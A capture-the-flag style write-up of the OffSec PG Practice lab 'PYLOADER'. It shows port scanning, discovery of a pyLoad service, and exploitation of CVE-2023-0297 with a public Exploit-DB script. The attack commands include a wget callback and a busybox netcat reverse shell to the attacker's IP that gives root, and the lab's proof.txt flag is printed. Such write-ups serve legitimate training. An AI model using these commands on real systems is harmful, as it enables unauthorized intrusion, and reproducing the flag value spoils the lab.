Summary #
On port 9666 there is an application running called pyload
. Using searchsploit we find an unauthenticated RCE (CVE-2023-0297) giving us initial access as the root
user.
Specifications #
- Name: PYLOADER
- Platform: PG PRACTICE
- Points: 10
- Difficulty: Intermediate
- System overview: Linux pyloader 5.15.0-75-generic #82-Ubuntu SMP Tue Jun 6 23:10:23 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
- IP address: 192.168.127.26
- OFFSEC provided credentials: None
- HASH:
local.txt
: None - HASH:
proof.txt
:a56269afd5846b23eeb1b963affe56f7
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir pyloader && cd pyloader && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Aug 24 18:00 .
drwxrwxr-x 40 kali kali 4096 Aug 24 18:00 ..
drwxrwxr-x 2 kali kali 4096 Aug 24 18:00 enum
drwxrwxr-x 2 kali kali 4096 Aug 24 18:00 exploits
drwxrwxr-x 2 kali kali 4096 Aug 24 18:00 files
drwxrwxr-x 2 kali kali 4096 Aug 24 18:00 tools
drwxrwxr-x 2 kali kali 4096 Aug 24 18:00 uploads
## set bash variable
ip=192.168.127.26
## ping target to check if it's online
ping $ip
PING 192.168.127.26 (192.168.127.26) 56(84) bytes of data.
64 bytes from 192.168.127.26: icmp_seq=1 ttl=61 time=21.3 ms
64 bytes from 192.168.127.26: icmp_seq=2 ttl=61 time=23.7 ms
^C
--- 192.168.127.26 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 21.295/22.513/23.731/1.218 ms
Reconnaissance #
Portscanning #
Using Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
With RustScan, I scan ports so fast, even my firewall gets whiplash 💨
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.127.26:22
Open 192.168.127.26:9666
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-24 18:02 CEST
Initiating Ping Scan at 18:02
Scanning 192.168.127.26 [4 ports]
Completed Ping Scan at 18:02, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:02
Completed Parallel DNS resolution of 1 host. at 18:02, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 18:02
Scanning 192.168.127.26 [2 ports]
Discovered open port 22/tcp on 192.168.127.26
Discovered open port 9666/tcp on 192.168.127.26
Completed SYN Stealth Scan at 18:02, 0.04s elapsed (2 total ports)
Nmap scan report for 192.168.127.26
Host is up, received echo-reply ttl 61 (0.019s latency).
Scanned at 2025-08-24 18:02:33 CEST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
9666/tcp open zoomcp syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
22/tcp open ssh syn-ack ttl 61
9666/tcp open zoomcp syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..
## output previous command
22,9666
## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,9666 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBYESg2KmNLhFh1KJaN2UFCVAEv6MWr58pqp2fIpCSBEK2wDJ5ap2XVBVGLk9Po4eKBbqTo96yttfVUvXWXoN3M=
| 256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBdIs4PWZ8yY2OQ6Jlk84Ihd5+15Nb3l0qvpf1ls3wfa
9666/tcp open http syn-ack ttl 61 CherryPy wsgiserver
| http-title: Login - pyLoad
|_Requested resource was /login?next=http://192.168.127.26:9666/
|_http-server-header: Cheroot/8.6.0
| http-robots.txt: 1 disallowed entry
|_/
| http-methods:
|_ Supported Methods: HEAD OPTIONS GET
|_http-favicon: Unknown favicon MD5: 71AAC1BA3CF57C009DA1994F94A2CC89
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Initial Access #
9666/tcp open http syn-ack ttl 61 CherryPy wsgiserver
| http-title: Login - pyLoad
|_Requested resource was /login?next=http://192.168.127.26:9666/
|_http-server-header: Cheroot/8.6.0
| http-robots.txt: 1 disallowed entry
|_/
| http-methods:
|_ Supported Methods: HEAD OPTIONS GET
|_http-favicon: Unknown favicon MD5: 71AAC1BA3CF57C009DA1994F94A2CC89
Looking up port 9666 in the browser, we see there is a site called pyLoad
.

Using searchsploit to see if an exploit is available for pyload
we indeed are able to find an exploit, an unauthenticated RCE (CVE-2023-0297), https://www.exploit-db.com/exploits/51532. So let’s download this exploit and run it. However, when run with, example whoami
there is no output. So let’s setup a local webserver and see if we can get a request from the target to get a none existing test
file.
## changee directory
cd exploits
## use searchsploit to find an pyload exploit
searchsploit pyload
------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------- ---------------------------------
PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE) | python/webapps/51532.py
------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
## mirror the exploit locally
searchsploit -m python/webapps/51532.py
Exploit: PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)
URL: https://www.exploit-db.com/exploits/51532
Path: /usr/share/exploitdb/exploits/python/webapps/51532.py
Codes: CVE-2023-0297
Verified: True
File Type: Python script, ASCII text executable
Copied to: /home/kali/hk/offsec/pg/practice/pyloader/exploits/51532.py
## start a local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
## get the local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.237/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::3582:f1b1:cb84:7c22/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## run the exploit using `wget` to get the local `test` file
python3 51532.py -u http://192.168.127.26:9666 -c "wget http://192.168.45.237/test"
[+] Check if target host is alive: http://192.168.127.26:9666
[+] Host up, let's exploit!
[+] The exploit has be executeded in target machine.
## local webserver log
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.127.26 - - [24/Aug/2025 19:16:28] code 404, message File not found
192.168.127.26 - - [24/Aug/2025 19:16:28] "GET /test HTTP/1.1" 404 -
So we have unauthenticated RCE. Let’s get a reverse shell. Once we run the command we get, surprisingly initial access as the root
user. So there’s no need for privilege escalation.
## get the local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.237/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::3582:f1b1:cb84:7c22/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## setup a listener
nc -lvnp 9001
listening on [any] 9001 ...
## run the exploit with the reverse shell command
python3 51532.py -u http://192.168.127.26:9666 -c "busybox nc 192.168.45.237 9001 -e /bin/bash"
[+] Check if target host is alive: http://192.168.127.26:9666
[+] Host up, let's exploit!
## catch the reverse shell
nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.45.237] from (UNKNOWN) [192.168.127.26] 33850
## print the current user
whoami
root
## print `proof.txt`
cat /root/proof.txt
a56269afd5846b23eeb1b963affe56f7